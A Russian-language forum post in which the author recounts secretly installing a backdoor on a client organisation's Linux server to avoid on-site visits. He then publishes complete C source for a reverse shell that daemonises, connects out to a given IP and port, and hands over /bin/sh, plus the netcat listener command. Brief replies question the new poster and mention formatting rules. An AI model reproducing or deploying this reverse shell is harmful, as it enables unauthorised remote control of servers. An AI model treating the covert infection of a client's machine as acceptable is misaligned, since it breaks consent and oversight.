Бэкдор на Си через нат

  • Автор темы Автор темы sowd
  • Дата начала Дата начала
S

sowd

Бэкдор под линукс на Си через нат

Небольшая прелюдия, для чего и почему мне это понадобилось:
Довелось мне как то работать в компании предоставляюшей услуги связи.
Одной из востребованых услуг компании, была ip телефония на базе астериска. И так вышло, что в мои
обязаности входило написание всяких бизнес процесов и интеграция с телефонией, и дальнейщая
поддержка всего этого лядства. Клиенты у компании были самыми разными, от мелких барыг евреев до всяческих полу-гос
организаций, были даже ребята в погонах. Работа с последними была самой гемаройной, из-за их е*нутых политик безопасности
связаных с предосталением удаленного доступа к серверам. Порой доходило до маразма, что бы внести какие то изменения в код,
нужно пыло по пробкам ехать через весь город, а потом под строгим надзором товарища майора с клавой на коленке в серверной
допиливать или фиксить, то что тамощние ламера наломали. Происходило это с завидной регулярностью, и мне очень быстро
регулярные поездки из теплого уютного офиса на другой конец города надоели. Попытки договориться с тапомшними сисадмминами
о тунеле, не привели ни к чему т.к. местные аборигены все поголовно страдают клиническим недугом "Погоны головного мозга".
В итоге решил закодить простенький дор, который должен был пробивать нат, и не палится на как тунель. Которым в своею
очередь был успешно инфицирован нужный мне сервер в один из следующих выездов на "объект".

Что бы пробить нат, дор должен выполнять роль клиента, который будет ломится на удаленый сервер, а удаленый сервер в свою
очередь должен выполнять роль клиента, который ждет подключения на нужном нам порту. Дабы не изобретать велосипед
на стороне удаленного сервера запускалася неткат который слушал нужный порт nc -l -p 5678

Ниже представлен код упращеной версии дора для простоты понимания. По сути каркас который при желании можно и нужно довести до
ума и обвесить нужным функционалом, но основную роль он прекрасно выполнят в том виде в котором есть.
Код:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int main(int argc, char *argv[]){

    int sd;
    struct sockaddr_in serv_addr;

    if(argc !=3){
        printf("айпишник, порт: %s <ip> <port>\n", argv[0]);
        exit(-1);
    }

    //стартуем в бэграунде как системный демон, второй аргумент фуньки перенаправляет вывод и ироры в девнул
    daemon(1,0);

    //Дальше идет сишная магия  для работы с сокетами, что бы в полной мере понять, для чего и почему так, прийдется курить
    стэк tcp/ip, rfc. Но можно не заморачиваться и оставить как есть.
    //Указываем тип сокета,  в данном случае интернеты
    serv_addr.sin_family = AF_INET;
    //конвертим айпишник в бинарный лонг
    serv_addr.sin_addr.s_addr = inet_addr(argv[1]);
    //конвертим из строки номер порта в инт и переводим в сетевой порядок байт
    serv_addr.sin_port = htons(atoi(argv[2]));
    //создаем сокет
    sd = socket(PF_INET, SOCK_STREAM, 0);

    //конектимся к нужному хосту и перенаправляем потоки ввода вывода на удаленый хост
    if (connect(sd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0){
        perror("не подключился");
    }
    dup2(sd, 0);
    dup2(sd, 1);
    dup2(sd, 2);
    execl("/bin/sh", "sh", 0);
}
На удаленой хосте стартуем неткат nc -l -p 5678
На инфицированом хосте запускаем дор ./dor
Профит
 
Последнее редактирование модератором:
Регистрация Вчера в 18:50
вот так вот зарегался и сразу решил о бэкдоре поведать?
 
А что тут странного? Серфил интернеты, наткнулся на этот пост, захотел книжку https://codeby.net/threads/testirov...pomoschju-kali-linux-2-0-v-pdf-formate.62764/
Правила оформления статей носят рекомендательный характер. При публикации следующей статьи настоятельно советую учитывать эти рекомендации.
 
Правила оформления статей носят рекомендательный характер. При публикации следующей статьи настоятельно советую учитывать эти рекомендации.
Прошу прощения когда писал был пьян, а сегодня уже ничего исправить не могу, о на будущее учту
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!